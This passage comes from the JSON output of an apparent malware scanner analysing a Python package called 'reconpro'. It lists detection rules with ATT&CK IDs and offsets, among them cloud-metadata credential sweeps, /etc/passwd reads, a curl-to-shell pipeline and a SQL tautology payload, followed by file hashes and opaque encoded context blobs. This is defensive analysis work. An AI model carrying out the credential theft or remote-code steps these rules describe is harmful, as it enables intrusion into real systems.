] }, { "id": "micro-behaviors/communications/http/oauth::oauth-protocol-reference", "conf": 0.5, "crit": 3, "desc": "References the OAuth 2 protocol", "spans": [ [ 21752, 6 ] ] }, { "id": "micro-behaviors/communications/http/post::url-encoded-content-type", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "Uses URL-encoded HTTP form content", "spans": [ [ 54529, 33 ] ] }, { "id": "micro-behaviors/communications/http/request/client::python-request-data-argument", "conf": 0.84, "crit": 3, "desc": "Python Request call passes a body argument", "spans": [ [ 54579, 79 ] ] }, { "id": "micro-behaviors/communications/http/services/aws::iam-credentials-path-reference", "conf": 0.7, "crit": 3, "desc": "AWS IAM credentials metadata path", "spans": [ [ 20204, 24 ] ] }, { "id": "micro-behaviors/communications/http/url/build::python-url-literal-concatenation", "mbc": "C0002", "conf": 0.85, "crit": 3, "desc": "URL literal extended by concatenation", "spans": [ [ 16409, 25 ], [ 17458, 24 ] ] }, { "id": "micro-behaviors/communications/http/url/github::raw-githubusercontent-any", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "raw.githubusercontent.com URL", "spans": [ [ 9692, 39 ] ] }, { "id": "micro-behaviors/communications/http/url/github::raw-githubusercontent-web-file", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "raw.githubusercontent.com web file URL", "spans": [ [ 9692, 53 ] ] }, { "id": "micro-behaviors/communications/http/url/path::loopback-http-url-reference", "conf": 0.9, "crit": 3, "desc": "References a loopback HTTP URL", "spans": [ [ 22229, 16 ], [ 22262, 16 ], [ 22324, 14 ], [ 30969, 17 ], [ 31048, 17 ] ] }, { "id": "micro-behaviors/communications/http/url/php-endpoint::url-php-endpoint-script", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "URL targets .php endpoint", "spans": [ [ 9941, 28 ] ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "spans": [ [ 20108, 40 ], [ 20164, 65 ], [ 20245, 74 ], [ 20335, 40 ], [ 20391, 48 ], [ 20455, 50 ], [ 20521, 67 ], [ 20604, 64 ] ] }, { "id": "micro-behaviors/data/db/sql::information-schema-ref", "conf": 1.0, "crit": 3, "desc": "SQL information_schema reference", "spans": [ [ 11015, 18 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-drop-object", "conf": 0.8, "crit": 3, "desc": "DROP SQL object syntax reference", "spans": [ [ 14285, 10 ], [ 33705, 10 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-insert", "conf": 0.8, "crit": 3, "desc": "Contains an SQL INSERT statement", "spans": [ [ 33739, 24 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-quoted-tautology-payload", "conf": 0.92, "crit": 3, "desc": "Quoted SQL tautology payload literal", "spans": [ [ 10852, 11 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-select", "conf": 0.6, "crit": 3, "desc": "SQL SELECT syntax reference", "spans": [ [ 11371, 67 ], [ 12336, 25 ], [ 12811, 30 ], [ 12886, 29 ], [ 13259, 34 ], [ 13820, 44 ], [ 14224, 40 ], [ 14380, 46 ] ] }, { "id": "micro-behaviors/data/db/sql::sqlite-master-ref", "conf": 1.0, "crit": 3, "desc": "SQLite sqlite_master reference", "spans": [ [ 12828, 13 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::etc-passwd-cat", "atk": "T1033", "conf": 0.8, "crit": 3, "desc": "/etc/passwd read via cat command", "spans": [ [ 24607, 17 ], [ 24640, 17 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-password-file-path-pair", "conf": 0.9, "crit": 3, "desc": "References Unix passwd and shadow paths", "spans": [ [ 7513, 53 ], [ 23110, 211 ] ] }, { "id": "micro-behaviors/fs/path/config/groups::etc-group", "atk": "T1069", "conf": 0.8, "crit": 3, "desc": "/etc/group group database", "spans": [ [ 7638, 10 ] ] }, { "id": "micro-behaviors/fs/path/config/system::config-crontab", "conf": 0.78, "crit": 3, "desc": "Reference to /etc/crontab", "spans": [ [ 7851, 12 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::dotenv-filename-literal", "atk": "T1552.001", "conf": 0.85, "crit": 1, "desc": ".env filename literal", "spans": [ [ 5035, 0 ] ] }, { "id": "micro-behaviors/fs/proc/cmdline::process-self-cmdline", "conf": 0.66, "crit": 3, "desc": "References own command-line procfs path", "spans": [ [ 8011, 18 ] ] }, { "id": "micro-behaviors/fs/proc/info/path::process-self-status", "conf": 0.74, "crit": 3, "desc": "References own process status procfs path", "spans": [ [ 8060, 17 ] ] }, { "id": "micro-behaviors/fs/proc/mounts::proc-mounts-path", "conf": 0.66, "crit": 3, "desc": "References /proc/mounts path", "spans": [ [ 8152, 12 ] ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-keyword", "conf": 0.5, "crit": 3, "desc": "Contains crontab keyword", "spans": [ [ 7856, 7 ] ] }, { "id": "micro-behaviors/process/create/shell/pipeline::curl-pipe-shell-text", "atk": "T1059.004", "conf": 0.9, "crit": 3, "desc": "References a curl- or wget-to-shell pipeline", "spans": [ [ 24831, 33 ] ] }, { "id": "objectives/credential-access/dump/system::ntds-database-file-target", "atk": "T1003.003", "mbc": "B0005", "conf": 0.96, "crit": 4, "desc": "References the NTDS.dit domain database", "spans": [ [ 8719, 9 ] ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-6", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Authorized-keys or shadow-file path literal", "spans": [ [ 7555, 11 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-oracle", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token oracle", "spans": [ [ 13340, 6 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-postgres", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token postgres", "spans": [ [ 11478, 8 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-tomcat", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token tomcat", "spans": [ [ 1858, 6 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 9186, 12 ] ] }, { "id": "metadata/file/catalog/service::cloud-saas-service-names", "conf": 0.6, "crit": 1, "desc": "Cloud SaaS service names", "uses": [ 10 ], "spans": [ [ 2465, 0 ] ] }, { "id": "metadata/package/testing/corpus::server-attack-category-labels", "conf": 0.9, "crit": 3, "desc": "Multiple server-side attack-category labels", "uses": [ 23, 24 ], "spans": [ [ 7130, 3 ], [ 19949, 4 ] ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import", "conf": 0.82, "crit": 3, "desc": "Imports Python urllib.request through direct or from-import syntax", "uses": [ 99 ], "spans": [ [ 439, 14 ] ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urllib-request-object", "conf": 0.82, "crit": 3, "desc": "urllib Request object creation", "uses": [ 32 ], "spans": [ [ 54579, 22 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-delete", "conf": 0.5, "crit": 3, "desc": "SQL DELETE statement with clause", "uses": [ 52 ], "spans": [ [ 33799, 23 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::aws-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "AWS instance metadata endpoint reference", "uses": [ 96 ], "spans": [ [ 20115, 32 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::azure-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Azure instance metadata endpoint reference", "uses": [ 97, 98 ], "spans": [ [ 21419, 33 ], [ 21733, 31 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::cloud-credential-endpoint-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.92, "crit": 3, "desc": "Cloud instance credential endpoint reference", "uses": [ 14, 15, 36, 97, 107 ], "spans": [ [ 20171, 57 ], [ 20204, 24 ], [ 20903, 45 ], [ 21217, 59 ], [ 21733, 31 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::gcp-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "GCP instance metadata endpoint reference", "uses": [ 14, 15 ], "spans": [ [ 20903, 45 ], [ 21217, 59 ] ] }, { "id": "micro-behaviors/communications/http/request/client::http-client", "conf": 0.7, "crit": 3, "desc": "Uses common HTTP client APIs", "uses": [ 103 ], "spans": [ [ 53120, 15 ] ] }, { "id": "micro-behaviors/communications/http/request/client::request-python", "conf": 0.9, "crit": 3, "desc": "Sends an HTTP request with a Python client library", "uses": [ 139 ], "spans": [ [ 54579, 22 ] ] }, { "id": "micro-behaviors/data/db/sql::schema-enumeration-query-suite", "conf": 0.94, "crit": 3, "desc": "SQL schema enumeration query suite", "uses": [ 114, 119 ], "spans": [ [ 11015, 18 ], [ 12828, 13 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-keywords", "conf": 0.5, "crit": 3, "desc": "Contains several SQL statement types", "uses": [ 116, 118, 140 ], "spans": [ [ 11371, 67 ], [ 12336, 25 ], [ 12811, 30 ], [ 12886, 29 ], [ 13259, 34 ], [ 13820, 44 ], [ 14224, 40 ], [ 14380, 46 ] ] }, { "id": "objectives/discovery/cloud/metadata::cloud-metadata-access", "conf": 0.85, "crit": 1, "desc": "Cloud metadata endpoint reference", "uses": [ 96, 97, 98 ], "spans": [ [ 21733, 0 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::multi-cloud-metadata-credential-sweep", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.96, "crit": 5, "desc": "Probes several clouds for instance credentials", "uses": [ 141, 142, 143, 144, 145 ], "spans": [ [ 20115, 32 ], [ 20171, 57 ], [ 20204, 24 ], [ 20903, 45 ], [ 21217, 59 ], [ 21419, 33 ], [ 21733, 31 ], [ 53120, 15 ] ] }, { "id": "metadata/encoded-payload/base64", "conf": 0.9, "crit": 3, "desc": "Encoded content decoded: base64", "spans": [ [ 9830, 36 ], [ 28824, 45 ], [ 29120, 36 ] ] }, { "id": "third_party/SigBase/Certutil/Decode/OR/Download", "conf": 0.9, "crit": 5, "desc": "Certutil Decode", "spans": [ [ 25290, 33 ] ] } ], "type": "python" }, { "id": 46, "mol": "O(C₃)H₂(PoCm)", "sha": "73e22c824c8dfb27c27a596a7a9ca17a6bc411fd31dc04b62ea480b54730d7e5", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/fuzzer.py!!reconpro/fuzzer.py##base64@9830", "risk": 158, "size": 27, "type": "php", "depth": 2 }, { "id": 47, "mol": "O₄(CCaDyEu₂)H₃(Cm₁₀Db₂F)", "sha": "398cb14b1c9edc5bbbf2554b02e32b0886ba10c0b100fbe31bdde1a6d7bfc0b5", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/geoip.py", "risk": 10, "size": 24090, "type": "python", "depth": 1 }, { "id": 48, "mol": "O₃(AsPrXe)H₄(DbFOsU₃)Md", "sha": "efa5f80dbdd70ea787c58b5aab31f76cb3de457880c29e76aeef747ff2f212ad", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/graph_ui.py", "risk": 9, "size": 28910, "type": "python", "depth": 1 }, { "id": 49, "mol": "O(I)H₂(Db₃F₃)", "sha": "2a28e1190e394333a7ec776acdb15759a9117cb77c6e2ccb8b404f0ee442aca5", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/history.py", "risk": 6, "size": 3562, "type": "python", "depth": 1 }, { "id": 50, "mol": "O₂(EuPr)H₂(Cm₈Db)", "sha": "de268fc65541922e6ab43be2e531ce433e7e1209d6dab0b1b1c7c28a79978db2", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/http_layer.py", "risk": 5, "size": 7223, "type": "python", "depth": 1 }, { "id": 51, "mol": "K(Te)O(Dy)H₂(Db₂Os)", "sha": "15bebb6c80ea2c62288fdf958b4000f60af1e664645e9e874326da50578d082a", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/intelligence_pipeline.py", "risk": 5, "size": 28556, "type": "python", "depth": 1 }, { "id": 52, "mol": "O(As)", "sha": "7466b87610292c1f83812e99b9b280ed312794c9f1749d42973196a964c6ece0", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/interfaces.py", "risk": 1, "size": 3002, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%FiryIvQ3uT)+Tx(kLxC{89%LPSUrv@2:?wN(]TvrcE7zxIq(vR6N5okeiUavx*Jx(k4VB-.Lsvruj4zxIw=xk8l{3q$CBz/ex(zY\u003ci-e\u002624kaBCqdB-I4op\u003cEd@z/cXswN/\u003e6x([RyB7nS@zE)\u0026hd06Gvy?Wu3z/fxpdgczNze:r5zdNQbB0bNrwGUPcy?$jMePtxiB7DE/z!0M@wO2x{o\u003c@6:x(k4XD17u9awlA+y-(8UvqfQ4w]zYjvrDWgzddJ$wd0A!A+w%9ayPtjwPI{fwO#PxavPZGxDRncvrl05Ab](cBZ]07aAITBBZ]JoA+e=7w[=c[x(mN8az\u003eLaAaJM5Bz\u0026o@nMnOR3pdS\u003ccppAGBy!@}zFs9kwPGyBCw7Y2xDQ-7wGUz]xl4M@vru6\u003eazC.nzY\u0026FaayPwlvpK6}BAg@7ayPd#aARpqwNPW6zddKbx)qlq3rqdQxjTaharR^Hw].*baAz46z/fJmz.t*ty\u00260D*xKLQ)azCXiz/P}xokeiUlUG[xzBFCQx(mF?arR^HwO#c{zE\u003c}NawlA+y^R(Ax(lvSxk8l{c[bGCarR!EwPJ0gBrAZ?wO#c{zE\u003eCvB-7M4x(4P)v}Yp+zyuYuCWUDdy?kkez/3WHar\u003eGvBz#pZfe3)YvqP$1wIdFhz6yzoa%Fir3tar%z6ig)w{5irA+eP+azCXiz/P}xvqY$3Byxo9z/fR63tBu@z/P}xwmoN*v@bN{B7Gz1x(d*cA=-Bqvrl9#x\u003c}A-ze:AlBrCstz/b[@ze:AlBrCHy3tBu@z/P}xA+bO(ze:AlBrCTyv@2T$3tBu@z/P}xB8#d8x(d*cA=-BBBAhIlBp8-0AbP=saAIWmAb](bwPI]1x(d*cA=-BCx(dz*x(d*cA=-BDA+]MavLhkjA=k$9x(d*cA=-BDA+]MavLhRdA=U!0x(d*cA=-BDA+]MavLhXjADL\u0026lBp8S2z/3Rcvrt{/y*?yawPF#dze:AlBrCa5BywV}vrlGvazbt0y?9(+A=k!qwO#TcazCXiz/P}xmq^l+3tar%z6i}CAa%i5azCXiz/P}xl2H%0avG{NBsXLdx(!wEawV@#x(v($y+cYdB-qed3jn12eIeLaeIeLaeD", "ln": 0, "col": 1, "line": 1 }, { "b": "wPzi\u0026x(mMced9HxarR\u003ecf!+KuaMv{oaw3DYx\u003e7N[z/M%#wO(vevqEbs3s9#Co?wqZmpezqauZ\u0026K3lQDlar\u003c=tfGgZe\u0026^^mol2Z^Vx\u003e7N[x(v(ioKSiTAV!h0z//]cz!{QG3lQDlar\u003c=tfGy*f\u0026^^mop\u0026ZG0C{j^DarR^Hb2*oOh.#PoFrRfBzEWZjAcbV4", "ln": 2380, "col": 21, "line": 78 }, { "b": "iV{?8v@${@BAe]PoLFM\u0026txs[bu0ONoaBsCrarR^JA+e:0zF\u0026(%B8$=cv}u\u0026BawCBbqBK}\u003cmmf\u003cCed9HxarR\u003eLwNPK@zFsA9BzkVhb03\u0026vnMnORuSPVZp!%?Tt16$HarR^Hb4Ln3x)a6dC{ko(o?wqZmpeCKoI5nNqy\u0026d$arR^JwQ5fgz!Tr4BzkVhb03\u0026vnMnORuQX6[oIXkVed9HxarR\u003exzGx]dy\u00260K4x(v(kiV}c*r8Md(nLSh-k$\u003c%63lQDlar\u003erlzeAZ0wm5+.wm5?+zGG]qy:7[.o?wqZmpezqed9HxarR\u003epv@#B6zGxf6zEmr\u003eygQ)%x)a6eb03\u0026vnMnORuQm4U", "ln": 3070, "col": 16, "line": 103 }, { "b": "B98CdauZ\u0026]3lQDlar\u003e\u0026qv@Dm5vqf!7vqYN^b03?\u003cqE%uRzF\u0026(%B8$=cv}u\u0026n3lQDlar(2vvq{d5x)Kifx(v(kiV]RFwNPK@zFsA9BzkVha$K6zarR^JwmYN\u003eC4CYtb03?\u003cl$HgGC4CYta$K6zarR^JwQ5fgz!Tr4BzkVhb03?\u003cmr\u0026=/z!Tr4BzkVha$K6zarR^Jx(n0lvqG:*BzkVhb03?\u003cnP5P\u003evqG:*BzkVha$K6zarR^Jv@Dj3vqYQ.vqYQ.v@DmbA=k+riV]Rlz/6u1zE:\u003epavy6+BAhqoa$K6zarR^JvpKy[z/fS6z/e{2vRPE:Bzk]fB0rT/b0/ZXx(v)gaA8cu", "ln": 3563, "col": 25, "line": 123 }, { "b": "zEWH9wmY*at}us9arR^HarR^JzdN/$b03\u0026Jb4\u003eF8wPzj3z/N3Mar(2FA+6cfwPI]pt}us9arR^HarR^JwQ5fgz!Trmb03\u0026[3lQDlarR^HarR^Har\u003e(Dy*Q)]ygQ)%x(v(kiV}SJCw]cxwnM3#fjwydx(kIhyghutAa\u003chPvpKy[z/dZUwP\u0026chx\u003eg^}uVP[0Cvb63vp%c#x(dGCe?O/3A4LNrzF0P}e]UGya$K6zarR^HarR^HarR^HarR^HarR^HarR^HarR^HarR\u003c)vrDW9z/N#}cN8?E3lQDlarR^HarR^Har(5KB0rT/toVgJv@=p5BuTbHwPz(vcS\u003cqCcN?ehB7ol8Acan/efDq:k0iK@xcqnov)b5Vz/fcbA=k$YvqGH}Bsn\u003c)j%%R!3lQDlarR^HarR^Har\u003eSlx^bOXtoXogeN-gbx(kOuz^^fdB7ol8AccdNAa\u003chPv)8H)y\u0026r-)tu%xAe?X?ffd[\u003ege?O/3A4LNrzF0P}e]UGyb3=-barR^HarR^HarR^Hb64pfb03\u0026Jb6N#TvpTj?zzb*AvpQ%hv@=p5BAo6NxMcgCjUOj0z^^f5h9@PDl{kj9Bz%n]fj/rvy+xjoz7/%zwO=fbt}us9arR^HarR!Ped9HxarR^HarR\u003erC4C31vruQ5A=b}xiV}TEb6N#TtvxafeNo\u003eJefF%SCw?IjAb]JhB1HTcd{KYiwgG6ke)I{qdl/1Zed9HxarR^HarR\u003etCYmFqx()=)x(4H9D0+2?B7DKRaug#hed9HxarV7-3lQDlar\u003eupB-p=9b03\u0026[3lQDlarR^Har\u003eGgvpS}\u0026B0rT/toXqzwo8*ivqEJ9vpJ$Za$K\u0026XCR9MtzE)\u0026%Bz(gXay]InAa9MbefDcEA=(tfy+xEzb3=-barR^HarR^Hb5H[kviN-PtoWY\u003ezE\u0026", "ln": 4046, "col": 78, "line": 136 }, { "b": "3lQDlarR^HarR^Har\u003e(Dy*Q)]ygQ)%x(v(kiV}SJkxe\u0026eB7GwBb@dtkhZf^}a$(f2j-kgGwIk=ytQH.3ed9HxarR^HarR^HarR\u003eMB8@J^ax{3LB7ol8AcaoLy?mTec)@a}qZT1RflpSzx(FeTb3=-barR^HarR^HarR^Hb64pfb03\u0026Ja$(f2j.wzAwImFbvr:CyvqPNefFv9YBz#pZfe3)Wx(2ziz/3X7ed9HxarR^HarV7-3lQDlarR^Har\u003erswNxy+BAz8mzGv0.ax@\u003egwo8*ivqGg\u0026d{MQntRon(d\u003cwmI3lQDlarR^Har\u003exwAboDbBywS)y?X0puT^C+wG\u003ceTh.E6v3lQDlaBL^FarR^Hb5h4mzerS8iV[", "ln": 4816, "col": 22, "line": 151 }, { "b": "vq]T+xK@w[ed9HxarR^HarR\u003etCYmFqx([zuiV@+RarR^HarR^HarR^Hb5y\u003e9b03\u0026Jb0PWNy?k:Ze?X?ffj/lnfk$uvB9zdst}us9arR^HarR^HarR^JB8#wlb03\u0026Jb0Qi\u003cy=#DNBz%n]fekjve?![ie?[LQed9HxarR^HarR^HarR\u003ewBAzFeB8U@fBAzkmxcGwVtoUvEwf\u0026{rnP5oOv@#o)eL6CYwmY^xb@de$vqH6$b3=-barR^HarR^HEjLZFarR^HarR^Jv%hA\u003cAa9\u003cgwPzWfb03\u0026JAW1}hvpJ$Zfi\u00263rtRon(d\u003e1TPtX0", "ln": 5585, "col": 30, "line": 171 }, { "b": "arR^HarR^Hb4V1ry\u0026s3fvpA}!x([ScvQTs?b03\u00268e\u0026tf!arR^HEjLZFarR^JzF9W3CP]f\u003eDKp(rarR^HarR\u003ewwNPaXA=SA=ax{4hwPz%9AYLsXxk8mdb3=-barR^HarR^Hb4V1ry\u0026s3fB0rT/DKp(rarR^HarR^HarR\u003eEvruf\u0026BAg/kwPz\u003c2y:7[.toUZMe*Sn+e?OC9w?CXZgg\u003e9tv\u003eR!fB8#Lob3=-barR^HarR^HarR^Hb6XfIb03\u0026Jb0o{RA+PGmk4ensA=-Y:dlGn8v@=p5BuQ)Oed9HxarR^HarV7-3lQDlarR^Har\u003erswNxy+BAz8mzGv0.ax@\u003eg", "ln": 5842, "col": 1, "line": 178 }, { "b": "arR^Hb4$K@wmY!5b03\u0026Jb6dsoC4CXPaz\u003e?5A=l2qw]]Rsx(+F7ed9HxarR^HarR\u003etCYmFqx([zuiV@+RarR^HarR^HarR^Hb5*$jxKt\u003e4vrMj5B75(eiV}SJfd[\u003e6gbQ}0e?OC9h8O\u003e@e*SnghdH\u0026AzE^WfB1.PWB97#ggCQQ[z/ff3xd[smz6Amp3lQDlarR^HarR^Har(5KB0rT/toVgJv@=p5BuTbHwPz(vf!2jrB7ol8Acan/t}us9arR^HarR^HarR^JCv+k]vrJ?Qax{3^qCQaUnLRU@fcTWM3lQDlarR^HaBL^FarR^HarR^Hb4C!cuVoB}By/GgB0rT/txg{8x\u003e8g4B8LVjeOO{ufi\u00263rtRon(d\u003cwmI3lQDlarR^Har\u003exwAboDbBywS)y?X0puT^C+wG\u003ceTh.D\u003cp3lQDlaBL^FarR^Hb5?jmb03\u0026[3lQDlarR^Har\u003eGgvpS}\u0026B0rT/toXqzAbP@iA+e=kvTg0SAa\u003chmt}us9arR^HarR^JwQ5fgz!Trmb03\u0026[3lQDlarR^HarR^Har\u003e\u0026owG\u003ceTtoVpwzdC!zwfJMEb0n8exMb8nD2[7sz73Vpm[3xYcU417cTwe.au@4lt}us9arR^HarR^HarR^Jy?vx9iV}SJkx74zwJ.T#fd[\u003egwPRAnAa9*eCvR[6ed9HxarR^HarR^HarR\u003eMB8@J^ax{3LB7ol8AcaoLy?mTec]0ekflpSzx(FeTb3=-barR^HarR^HEjLZFarR^HarR^Jv%hA\u003cAa9\u003cgwPzWfb03\u0026JAW2EoA4+Ebd{KYiwgG6ke)I{qdl/1Zed9HxarR^HarR\u003etCYmFqx()=)", "ln": 6196, "col": 5, "line": 190 }, { "b": "vqEbGax{3xe*Sn+e?OC9w{m/}e[n*qw[+)4t}us9arR^HarR^HarR^JwmY*[A+O@#x)Kifx(v(kiV}SJuTD\u00269morz!k#ZoymnuoHk#ZSTb3=-barR^HarR^HarR^Hb6d:uuUKy)wN/*@z/c:Wax{3qawU(Tf*dlyeH1EK3lQDlarR^HaBL^FarR^HarR^Hb4C!cuVoB}By/GgB0rT/txg]@B8UwpzE)]{B1pHad{KYiwgF\u003cfed9HxarR^HarR\u003etCYmFqx()=)", "ln": 7014, "col": 26, "line": 212 }, { "b": "Aa9\u003cgwPzWf3puNQp^F5KuSfJ^pc?\u0026VqBKIBawuG\u003cBx-*dA:o!Jax]f}arR^JfjM:YefDb\u0026vScujefDb\u0026vR5$Tz/c:Iar\u0026EExjU$5a$K\u0026Xflp/ry?$pDar\u0026EGzdB?war\u0026ETvqYT)a$K6zarR^Jfk1ZnwG\u0026VFa$)[VzxZROa$)[zD2dzcwfJMEa$)UEAbn%2BrSmUa$)Cmy\u00260M?v@0ntar\u0026EHA=k[ved9HxarR\u003cYwQ4*3y:7zMa$)$Fy*?PkefDb\u0026BAIFswO-Lwar\u0026EVv\u003ciDDa$)$FzeTJca$K\u0026XfjXT6B.q)H3lQDlar\u0026EWByxolB0rdTa$)wvx)a5iefDb\u0026Aa%i5a$K\u0026Xfka{9A=+=4vrrXAar\u0026EVwOkZ#By/FAvScujed9HxarR\u003cYvq]{lB$\u003eTUxjU$5a$K\u0026Xfjw*lflP97x(d*9vqZfhefDb\u0026vq]{lv\u003e]kV3s9#CboP]@zGxJlx)a5gAa9\u003c4B0b7kAV+", "ln": 7270, "col": 17, "line": 221 }, { "b": "xKL%[3r6w*q+o}WrZ*v(k#ZxNiV}agB97ScBAgUfjS)@oarR^Ha$\u003eMWzGWiPar\u0026D\u003exMNV)v}x.5a$K\u0026Xfd{)KBt4cxzF0P}a$K\u0026Xfd}r?zzbNsBAh8bB0rdTa$\u003eMpq^SEBz/Pzked9HxarR\u003cYCv+kov@Dl%x\u003eFRvar\u0026EGz/ff3xd!dpA3u?Qa$[dVeN@Zpw[+)gAa\u003chmefDb\u0026v@Dl%x\u003eINevruj4zz2)wA3u?uarR^Ha$[1GBAzkmxlbXAC{j^Za$)wzAbok#vruj4zz3iKy:7zMa$)FnBywS!B7D$HzepyEar\u0026EWwN/:(BAo6HB8L}ued9HxarR\u003cYvQS+ZB-n%OACM*Iar\u0026EFvpK7}A4VDJA3u?Qa$)FouU1p@A4ViKy:7zMa$)FHze.aGACNmuDlK)EarR^Ha$)[GAa%i4z.u0xA3u?Qa$)[GAbx(ewnM3#fcR}\u0026a$)wnze0(va$K\u0026Xfjwydx(mTaBAg/iz/NGPed9HxarR\u003cYB7GxnwPxwzByxolB0rdTa$[1GA=#2meOP9mzZ3.Pa$\u003eM)wO=fmyI[6mzzc6xv%8*aBA]GXCYUbX3lQDlar\u0026EVz^)TbB1RMVBrSmUa$[1KBy/q$A4VxLy:7zMa$)CDz/Y#gz/5]%zz3fJy:7zqarR^Ha$)1^lm\u003e=7mLw%%vLh[xy:7zMa$(UVr6-9cpdu)hk#70vmn)ero?3rT3lQDlar\u0026EGA=k?tefDb\u0026v@=H9BywS5efDb\u0026wPRAnv@=H9BywS5efDb\u0026C42zAB8V5oy+Gpsz/c:I3s9#CboPA(vqfK2Aa9\u003cgwPzWfazbLjawU{cpe?M?o*IuAuR\u003c3/r7fXWiV@DOe(k$#By/GgauZ\u0026/wIdFhze:i9wHE)darR!Eb3OFcDo\u003cb^fFbpquNmiOt}nfAvj=^\u003eeM%?Wiw8)?d{KYhvj=^\u003eeM#CbgaW?$3mMq?boP{cvQ%y]vqfQ4wQ5rqvpKy[z/cXfA=k!qv}xX5x\u003ez6?vru66q:Be3Aa9\u003cgwPzWf3r6}\u003el@cJynLSR?k#Z/LqCHdKawuG\u003cBx-=%e(k$#By/Ggt{8oMtm8F}arUYoe[n*pAa%c1c#{IpdQjOOtvxaffFbppt}oejtvxafu3!s", "ln": 7666, "col": 37, "line": 230 }, { "b": "eIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIdqpv@bN{B0av{B8aDXC4CFrmq^l+dlm!UarR^Ja%G@%C4CYdBA]0Hx(!5jy?m^3y\u0026Z.hz/M$jx(mD}zFa2ya%FirarR^HlScGPnKC^q", "ln": 8912, "col": 48, "line": 263 }, { "b": "BzbkdhY#)Iy?$XkxKLQ)aAh15B7GzBa%FirarR^HqBJ@Gpej8Dq=t$SlQ-aXar\u003e\u0026qv@Dm5vqf!7vqYN^a{]CnarT-Ok#puLnM[zVnL-87jS\u003e})wNPK@zFsA9BzkVha{]CnarT6voI2", "ln": 9177, "col": 34, "line": 275 }, { "b": "wmY^)wftY5B95Kyw/#5avrl05x\u003eg^)Bzku3wPz\u0026mBzbxfaAg+hxDRzqvrMj5B7GzB3lQDlarR^Hay]58v@=p5BzkVhiV{$ozddrlA+eV\u0026vpB4:ay]58v@=p5BzkVh", "ln": 10907, "col": 19, "line": 325 }, { "b": "x(){ciV}agB97ScBAgUfjS[uJwO+)9wmYvYB.(ebw)]g\u003ez/Qa^y?W%jdgdguarUxnAa9l#iV@G=AV^H/qFyh/oL5xUy+wBJl}HxMe{pVtB.7[5arR!swNPT]vRGT)BA}kmv@Dy0iV@3Jz^^-gjS(BhfBw{BarUlkBAhUlC4Cf9z/N(YB98BBjS\u003e{)3lQDlaz2!iBye@}ygQ)%x)a5GaAITBauZ?\u003ea{[V1arR!qwO95(uVo}8Bye:1x()Y?d05%ow*[\u0026O", "ln": 11572, "col": 14, "line": 338 }, { "b": "z!T8qB7Gf1e]UGjB7Gzwas!NQwO+%hwO#QgD0+-av@#Tf3lQDlarR^HarR^HaAIagw?F4hBzb2}wfs2TxKL%}y?WuhB7!#qh8V\u003e6vrTtnzEWP}wHF#Re[!*vwnbW/B95/VtrjF]t)Z]YarR!qwO96bz^N3?v@%buwO+%cat2=1l${dMtxs[befEk@D0JDrarR^HarR^HA+funA=91gvrt{/y*?yawPGFjB7w#{Bsqiwy?ta63jn12eIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeLaeIeK", "ln": 11856, "col": 24, "line": 346 }, { "b": "efEk@D0IKQaBsCrarR^HarR^HarR^Jxk.i{b03?\u003clVl*XA=k/eB7DE[vrc0(BrSmyarR^HarR^HarR^Hb6n9HwG\u003ceTb5.GCed9HxarR^HarR^HarR\u003erxLzo[A+fbjiV}Tjed9HxarR^HarV7tarR^HarR^HB7Gf1e)\u002646y*Ro}v}Y:]ADL\u0026liV}agB97ScBAgUfjS)%m3lQDlarR^HaAIagw?ECjz//A7uVoB}xMDiSx(n2njS(A=3lQC", "ln": 12594, "col": 28, 